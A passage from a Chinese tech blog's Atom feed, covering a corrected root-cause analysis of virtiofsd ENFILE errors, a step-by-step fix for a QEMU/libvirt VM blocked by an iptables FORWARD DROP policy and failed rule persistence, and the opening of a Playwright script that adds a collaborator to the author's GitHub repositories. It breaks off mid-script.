&lt;p&gt;&lt;strong&gt;错误结论：&lt;&#x2F;strong&gt; &lt;code&gt;fs.file-max&lt;&#x2F;code&gt; 被设为 &lt;code&gt;9223372036854775807&lt;&#x2F;code&gt;（INT64_MAX）导致内核
fd table 扩容公式 &lt;code&gt;n = last * 2 + 1&lt;&#x2F;code&gt; 整数溢出 → &lt;code&gt;kvmalloc&lt;&#x2F;code&gt; 分配巨大数组失败 → 返回 ENFILE。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;为什么错（2026-08-07 对照内核 6.12 源码核实）：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;内核 fd table 扩容（&lt;code&gt;fs&#x2F;file.c&lt;&#x2F;code&gt;）的硬上限是 &lt;code&gt;sysctl_nr_open&lt;&#x2F;code&gt;（即 &lt;code&gt;fs.nr_open&lt;&#x2F;code&gt;），
超了返回 &lt;strong&gt;EMFILE(24)&lt;&#x2F;strong&gt;，整个 &lt;code&gt;fs&#x2F;file.c&lt;&#x2F;code&gt; 中根本不存在 &lt;code&gt;files_stat.max_files&lt;&#x2F;code&gt; 的引用——
扩容与 &lt;code&gt;file-max&lt;&#x2F;code&gt; 零关系&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;file-max&lt;&#x2F;code&gt; 唯一出现在 &lt;code&gt;fs&#x2F;file_table.c&lt;&#x2F;code&gt; 的 &lt;code&gt;alloc_empty_file()&lt;&#x2F;code&gt;：
&lt;code&gt;nr_files &amp;gt;= max_files&lt;&#x2F;code&gt; 才返回 ENFILE(23)。&lt;code&gt;INT64_MAX&lt;&#x2F;code&gt; 下该比较永远为假，
恰恰&lt;strong&gt;不可能&lt;&#x2F;strong&gt;产生 ENFILE&lt;&#x2F;li&gt;
&lt;li&gt;当时&quot;修复&quot;（把 file-max 设为 2097152）与根因无关；真正让系统恢复的是
扫描结束 &#x2F; 缓存逐出 &#x2F; virtiofsd 重启等并发因素&lt;&#x2F;li&gt;
&lt;li&gt;复发时宿主 dmesg 无 VFS 警告，最终在 virtiofsd 1.13.2 源码
&lt;code&gt;guest_fd_limit.rs:72&lt;&#x2F;code&gt; 找到真正的 ENFILE 出处&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;教训：&lt;&#x2F;strong&gt; ① 症状（ENFILE）不一定来自最显眼的配置（file-max），先找 ENFILE 的
唯一内核出口，再顺着代码追；② 排查&quot;大值参数&quot;时要先确认内核里它到底被谁引用；
③ 实测 dmesg 环形缓冲覆盖窗口内的&quot;无警告&quot;是有效证据。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;he-xin-pai-cha-luo-ji&quot;&gt;核心排查逻辑&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;guest 内 virtiofs 操作报 ENFILE
  → 宿主 dmesg 有无 &amp;quot;VFS: file-max limit reached&amp;quot;？（区分两种墙）
  → ps 找 virtiofsd → sudo ls &amp;#x2F;proc&amp;#x2F;&amp;lt;pid&amp;gt;&amp;#x2F;fd | wc -l
  → 对比 guest fd 池上限（rlimit - 610，默认 999,390）
  → 池满 → 看 fd 指向（O_PATH、guest 相对路径）→ 定位 guest 内扫描进程
  → guest 内 drop_caches（主动）&amp;#x2F; 定时 cron 防复发
  → 根治: 扩池子（libvirtd LimitNOFILE）&amp;#x2F; --inode-file-handles=prefer
  → 修复过又复发？逐项核对当前宿主机的修复三件套（wrapper &amp;#x2F; AppArmor override &amp;#x2F;
    域 XML 的 &amp;lt;binary&amp;gt;+&amp;lt;openfiles&amp;gt;），并确认 pgrep -a virtiofsd 带 --inode-file-handles=prefer
  → 修复按「宿主 + 域」各一份，多机多域环境逐台逐域核对
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>QEMU 虚拟机无法访问网关&#x2F;公网排查</title>
        <published>2026-06-13T02:30:00+08:00</published>
        <updated>2026-08-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/06/qemu-vm-network-debug/"/>
        <id>https://vercel.juzhong.asia/2026/06/qemu-vm-network-debug/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/06/qemu-vm-network-debug/">&lt;h1 id=&quot;qemu-xu-ni-ji-wu-fa-fang-wen-wang-guan-gong-wang-pai-cha-wen-dang&quot;&gt;QEMU 虚拟机无法访问网关&#x2F;公网 排查文档&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h2&gt;
&lt;p&gt;QEMU 虚拟机（libvirt）无法 ping 通网关 &lt;code&gt;192.168.2.1&lt;&#x2F;code&gt;，也无法访问公网。宿主机网络正常。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;huan-jing-xin-xi&quot;&gt;环境信息&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;值&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;宿主机 IP&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;192.168.2.100&#x2F;24&lt;&#x2F;code&gt; (vmbr0)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;网关&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;192.168.2.1&lt;&#x2F;code&gt; (MAC: &lt;code&gt;74:45:2d:96:7f:cc&lt;&#x2F;code&gt;)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;虚拟机 IP&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;192.168.2.156&lt;&#x2F;code&gt; (MAC: &lt;code&gt;52:54:00:3c:13:73&lt;&#x2F;code&gt;)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;物理网卡&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;eno1&lt;&#x2F;code&gt; (桥接到 vmbr0)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;虚拟网桥&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;vmbr0&lt;&#x2F;code&gt; (含 eno1 + vnet0)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;TAP 设备&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;vnet0&lt;&#x2F;code&gt; (VM 接口，桥接到 vmbr0)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;虚拟化&lt;&#x2F;td&gt;&lt;td&gt;QEMU&#x2F;KVM (libvirt 管理)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;pai-cha-bu-zou&quot;&gt;排查步骤&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-que-ren-su-zhu-ji-wang-luo-zheng-chang&quot;&gt;1. 确认宿主机网络正常&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ping -c 2 192.168.2.1
# 结果：正常，0% 丢包
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-que-ren-wang-qiao-tuo-bu-zheng-que&quot;&gt;2. 确认网桥拓扑正确&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;brctl show vmbr0
# vmbr0:
#   eno1    (物理网卡)
#   vnet0   (虚拟机 TAP 接口)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-zai-vmbr0-shang-zhua-bao-fa-xian-vm-fa-chu-de-icmp-qing-qiu&quot;&gt;3. 在 vmbr0 上抓包 — 发现 VM 发出的 ICMP 请求&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tcpdump -i vmbr0 -e -n icmp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;22:28:13.582982 52:54:00:3c:13:73 &amp;gt; 74:45:2d:96:7f:cc, ethertype IPv4 (0x0800), length 98: 192.168.2.156 &amp;gt; 192.168.2.1: ICMP echo request, id 10485, seq 68, length 64
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;结论：&lt;&#x2F;strong&gt; VM 发出的包到达了网桥 vmbr0，但没有收到任何 reply。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-zai-wu-li-wang-qia-eno1-shang-zhua-bao-fa-xian-bao-mei-you-dao-da-wu-li-jie-kou&quot;&gt;4. 在物理网卡 eno1 上抓包 — 发现包没有到达物理接口&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tcpdump -i eno1 -e -n icmp and host 192.168.2.156
# 结果：0 packets captured
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;结论：&lt;&#x2F;strong&gt; VM 的 ICMP 请求在 vmbr0 到 eno1 之间被丢弃了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-jian-cha-bridge-netfilter-she-zhi-fa-xian-guan-jian-wen-ti&quot;&gt;5. 检查 bridge netfilter 设置 — 发现关键问题&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sysctl net.bridge.bridge-nf-call-iptables
# net.bridge.bridge-nf-call-iptables = 1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;关键发现：&lt;&#x2F;strong&gt; &lt;code&gt;bridge-nf-call-iptables=1&lt;&#x2F;code&gt; 意味着桥接的 L2 流量也会经过 iptables 处理。&lt;&#x2F;p&gt;
&lt;p&gt;虽然 &lt;code&gt;&#x2F;etc&#x2F;sysctl.conf&lt;&#x2F;code&gt; 中配置的是 &lt;code&gt;=0&lt;&#x2F;code&gt;，但 Docker 启动时会将其设为 &lt;code&gt;1&lt;&#x2F;code&gt;（Docker 依赖此设置来实现容器网络隔离和端口映射）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-jian-cha-iptables-forward-lian-que-ren-diu-bao-dian&quot;&gt;6. 检查 iptables FORWARD 链 — 确认丢包点&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;iptables -L FORWARD -n -v
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;Chain FORWARD (policy DROP 3727K packets, 1454M bytes)
 pkts bytes target     prot opt in     out     source               destination
  229 24446 ACCEPT     all  --  vmbr0  tun0    192.168.2.0&amp;#x2F;24       192.168.4.0&amp;#x2F;22
  477  513K ACCEPT     all  --  tun0   vmbr0   192.168.4.0&amp;#x2F;22       192.168.2.0&amp;#x2F;24
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;根因确认：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;FORWARD 链默认策略为 &lt;code&gt;DROP&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;仅有的两条涉及 vmbr0 的规则只允许 &lt;code&gt;vmbr0 &amp;lt;-&amp;gt; tun0&lt;&#x2F;code&gt; 的 VPN 流量（192.168.2.0&#x2F;24 &amp;lt;-&amp;gt; 192.168.4.0&#x2F;22）&lt;&#x2F;li&gt;
&lt;li&gt;没有规则允许 vmbr0 的普通桥接流量（如 VM -&amp;gt; 网关）&lt;&#x2F;li&gt;
&lt;li&gt;因此 VM 发出的包在到达网桥后被 iptables DROP 掉，无法到达物理网卡 eno1&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;shu-ju-liu-shi-yi&quot;&gt;数据流示意&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;VM (192.168.2.156)
    │
    ▼ ICMP echo request
 vnet0 ─── vmbr0 ─── ✗ iptables FORWARD DROP ─── eno1 (物理网卡)
                       (无匹配规则)                │
                                                   ▼
                                             Gateway (192.168.2.1)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;xiu-fu-fang-an&quot;&gt;修复方案&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;li-ji-xiu-fu&quot;&gt;立即修复&lt;&#x2F;h3&gt;
&lt;p&gt;添加规则允许桥接流量通过 iptables：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;iptables -I FORWARD -m physdev --physdev-is-bridged -j ACCEPT
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-m physdev --physdev-is-bridged&lt;&#x2F;code&gt; 精确匹配经过桥接转发的流量&lt;&#x2F;li&gt;
&lt;li&gt;将该规则插入 FORWARD 链首部，优先于 Docker 的链&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;chi-jiu-hua&quot;&gt;持久化&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;netfilter-persistent save
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;该命令将当前 iptables 规则保存到 &lt;code&gt;&#x2F;etc&#x2F;iptables&#x2F;rules.v4&lt;&#x2F;code&gt;，重启后自动恢复。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yan-zheng&quot;&gt;验证&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;iptables -L FORWARD -n -v
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;Chain FORWARD (policy DROP)
 pkts bytes target     prot opt in     out     source               destination
  155 44480 ACCEPT     all  --  *      *       0.0.0.0&amp;#x2F;0            0.0.0.0&amp;#x2F;0            PHYSDEV match --physdev-is-bridged
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tcpdump -i eno1 -e -n icmp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;22:30:08.217904 52:54:00:3c:13:73 &amp;gt; 74:45:2d:96:7f:cc: 192.168.2.156 &amp;gt; 192.168.2.1: ICMP echo request
22:30:08.218266 74:45:2d:96:7f:cc &amp;gt; 52:54:00:3c:13:73: 192.168.2.1 &amp;gt; 192.168.2.156: ICMP echo reply
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;VM 的 ICMP 请求和网关的回复均已正常到达物理网卡，问题解决。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bei-xuan-fang-an&quot;&gt;备选方案&lt;&#x2F;h2&gt;
&lt;p&gt;如果不想依赖 iptables 规则，也可以禁用 bridge netfilter：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sysctl -w net.bridge.bridge-nf-call-iptables=0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但此方案会导致 Docker 的端口映射和容器间隔离失效，&lt;strong&gt;不推荐&lt;&#x2F;strong&gt;在有 Docker 运行的环境中采用。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2026-08-07-wen-ti-fu-fa-gen-yin-shi-chi-jiu-hua-jing-mo-shi-xiao&quot;&gt;2026-08-07 问题复发：根因是持久化静默失效&lt;&#x2F;h2&gt;
&lt;p&gt;同一环境（宿主机 192.168.2.100、vmbr0、网关 192.168.2.1、VM 192.168.2.156）两个月后再次出现 VM 无法 ping 通网关，且 VM 无法访问公网。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pai-cha-yao-dian-ben-ci-shi-ce&quot;&gt;排查要点（本次实测）&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;VM → 宿主 ping 正常（0.15ms）&lt;&#x2F;strong&gt;：目标为宿主本机 IP，走 INPUT 链，不受 FORWARD 影响&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;VM → 网关 ICMP 100% 丢包&lt;&#x2F;strong&gt;，但 &lt;code&gt;tcpdump -i vnet1&lt;&#x2F;code&gt; 能抓到 VM 发出的 &lt;code&gt;ICMP echo request&lt;&#x2F;code&gt;——包已离开 VM&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;tcpdump -i eno1&lt;&#x2F;code&gt; 抓不到 VM 的任何 ICMP&#x2F;ARP&lt;&#x2F;strong&gt;——包在网桥转发阶段被丢弃&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;iptables -L FORWARD -n -v&lt;&#x2F;code&gt;：&lt;code&gt;Chain FORWARD (policy DROP 2917 packets, 1032K bytes)&lt;&#x2F;code&gt;——大量包已被丢弃&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;lsmod | grep br_netfilter&lt;&#x2F;code&gt;：已加载（Docker 依赖），&lt;code&gt;bridge-nf-call-iptables=1&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;排查小技巧——对比抓包定位丢包点：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;观测点&lt;&#x2F;th&gt;&lt;th&gt;结果&lt;&#x2F;th&gt;&lt;th&gt;结论&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;VM 内 ping 宿主&lt;&#x2F;td&gt;&lt;td&gt;通&lt;&#x2F;td&gt;&lt;td&gt;INPUT 链正常&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;vnet1 上有 ICMP 出包&lt;&#x2F;td&gt;&lt;td&gt;有&lt;&#x2F;td&gt;&lt;td&gt;包已离开 VM&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;eno1 上无 ICMP&#x2F;ARP&lt;&#x2F;td&gt;&lt;td&gt;无&lt;&#x2F;td&gt;&lt;td&gt;丢弃发生在网桥&#x2F;IP 转发（FORWARD）阶段&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;ben-ci-xiu-fu&quot;&gt;本次修复&lt;&#x2F;h3&gt;
&lt;p&gt;相比上文的 physdev 通用规则，按网桥接口的规则更直观、易维护：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;iptables -I FORWARD -i vmbr0 -j ACCEPT
iptables -I FORWARD -o vmbr0 -j ACCEPT
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证：VM ping 网关 0.5ms、ping 公网 8.8.8.8 正常。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fu-fa-gen-yin-chi-jiu-hua-jing-mo-shi-xiao-zhong-yao-jiao-xun&quot;&gt;复发根因：持久化静默失效（重要教训）&lt;&#x2F;h3&gt;
&lt;p&gt;上文的 &lt;code&gt;netfilter-persistent save&lt;&#x2F;code&gt; 其实一直没生效：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;宿主只安装了 &lt;code&gt;netfilter-persistent&lt;&#x2F;code&gt;，但 &lt;strong&gt;iptables 插件（iptables-persistent）从未安装&lt;&#x2F;strong&gt;，&lt;code&gt;&#x2F;usr&#x2F;share&#x2F;netfilter-persistent&#x2F;plugins.d&#x2F;&lt;&#x2F;code&gt; 为空&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;netfilter-persistent save&lt;&#x2F;code&gt; 输出为空、退出码为 0，但 &lt;code&gt;&#x2F;etc&#x2F;iptables&#x2F;rules.v4&lt;&#x2F;code&gt; 从未生成——&lt;strong&gt;静默失败&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;因此一旦重启（或 iptables 规则被清空），上次的 FORWARD 规则全部丢失，问题必然复发&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;修复持久化：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install iptables-persistent   # 安装 15-ip4tables &amp;#x2F; 25-ip6tables 插件
netfilter-persistent save          # 这次输出 run-parts: executing ... 插件真正生效
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证：&lt;code&gt;&#x2F;etc&#x2F;iptables&#x2F;rules.v4&lt;&#x2F;code&gt; 已生成且包含 vmbr0 规则。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;教训：&lt;&#x2F;strong&gt; 任何&quot;保存&#x2F;持久化&quot;类操作，执行后必须验证产物存在（文件已生成、内容正确），不能只依赖退出码。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;guan-jian-ming-ling-su-cha&quot;&gt;关键命令速查&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;用途&lt;&#x2F;th&gt;&lt;th&gt;命令&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;查看网桥成员&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;brctl show&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;查看 bridge netfilter 状态&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;sysctl net.bridge.bridge-nf-call-iptables&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;查看 iptables FORWARD 链&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;iptables -L FORWARD -n -v&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;放行网桥转发流量&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;iptables -I FORWARD -i vmbr0 -j ACCEPT&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;-o vmbr0&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;网桥上抓包&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;tcpdump -i vmbr0 -e -n icmp&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;物理接口上抓包&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;tcpdump -i eno1 -e -n icmp&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;检查持久化插件&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ls &#x2F;usr&#x2F;share&#x2F;netfilter-persistent&#x2F;plugins.d&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;blockquote&gt;
&lt;p&gt;相关：Wi-Fi 宿主上 VM 无法从局域网访问（macvtap 被 AP 丢弃单播 → proxy-ARP 路由方案）的完整排查记录见&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;07&#x2F;virtualization&#x2F;&quot;&gt;虚拟化笔记&lt;&#x2F;a&gt;。
| 保存 iptables 规则 | &lt;code&gt;netfilter-persistent save&lt;&#x2F;code&gt;（确认生成 &lt;code&gt;&#x2F;etc&#x2F;iptables&#x2F;rules.v4&lt;&#x2F;code&gt;） |&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>批量添加 GitHub 仓库协作者</title>
        <published>2026-06-13T01:43:45+08:00</published>
        <updated>2026-06-13T01:43:45+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/06/batch-add-github-collaborator/"/>
        <id>https://vercel.juzhong.asia/2026/06/batch-add-github-collaborator/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/06/batch-add-github-collaborator/">&lt;h1 id=&quot;gai-shu&quot;&gt;概述&lt;&#x2F;h1&gt;
&lt;p&gt;使用 Playwright CLI 连接远程浏览器，批量为 &lt;code&gt;peterlishihu&lt;&#x2F;code&gt; 用户下全部 29 个仓库添加 &lt;code&gt;moxuetianya&lt;&#x2F;code&gt; 作为协作者。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;huan-jing&quot;&gt;环境&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;本地机器&lt;&#x2F;strong&gt;: 通过 SSH 隧道转发远程 Chrome 调试端口&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;远程浏览器&lt;&#x2F;strong&gt;: Chrome 149, 以 &lt;code&gt;--remote-debugging-port=9222 --remote-debugging-address=0.0.0.0&lt;&#x2F;code&gt; 启动&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Playwright CLI&lt;&#x2F;strong&gt;: 通过 CDP 协议连接 &lt;code&gt;http:&#x2F;&#x2F;127.0.0.1:9222&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 远程机器启动 Chrome
google-chrome --remote-debugging-port=9222 --remote-debugging-address=0.0.0.0 --user-data-dir=&amp;#x2F;tmp&amp;#x2F;chrome-debug

# 本地建立 SSH 隧道
ssh -L 9222:127.0.0.1:9222 user@192.168.2.100

# 连接远程浏览器
playwright-cli attach --cdp=http:&amp;#x2F;&amp;#x2F;127.0.0.1:9222
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;cao-zuo-liu-cheng&quot;&gt;操作流程&lt;&#x2F;h1&gt;
&lt;p&gt;对每个仓库执行以下步骤：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;导航到仓库的 Collaborators 设置页 (&lt;code&gt;&#x2F;&amp;lt;owner&amp;gt;&#x2F;&amp;lt;repo&amp;gt;&#x2F;settings&#x2F;access&lt;&#x2F;code&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;检查页面是否已包含 &lt;code&gt;@moxuetianya&lt;&#x2F;code&gt;，若有则跳过&lt;&#x2F;li&gt;
&lt;li&gt;点击 &lt;strong&gt;&quot;Add people&quot;&lt;&#x2F;strong&gt; 按钮&lt;&#x2F;li&gt;
&lt;li&gt;在弹出的对话框中输入 &lt;code&gt;moxuetianya&lt;&#x2F;code&gt; 搜索用户&lt;&#x2F;li&gt;
&lt;li&gt;检查搜索结果是否已禁用（表示已邀请），若是则关闭对话框跳过&lt;&#x2F;li&gt;
&lt;li&gt;选中 &lt;code&gt;@moxuetianya&lt;&#x2F;code&gt; 选项&lt;&#x2F;li&gt;
&lt;li&gt;点击 &lt;strong&gt;&quot;Add moxuetianya&quot;&lt;&#x2F;strong&gt; 确认添加&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;playwright-jiao-ben&quot;&gt;Playwright 脚本&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;async page =&amp;gt; {
  const repos = [&amp;quot;proxy-shoes&amp;quot;,&amp;quot;learn-frontend&amp;quot;,&amp;quot;learn-architecture&amp;quot;,&amp;quot;his&amp;quot;,&amp;#x2F;* ... 共29个 *&amp;#x2F;];

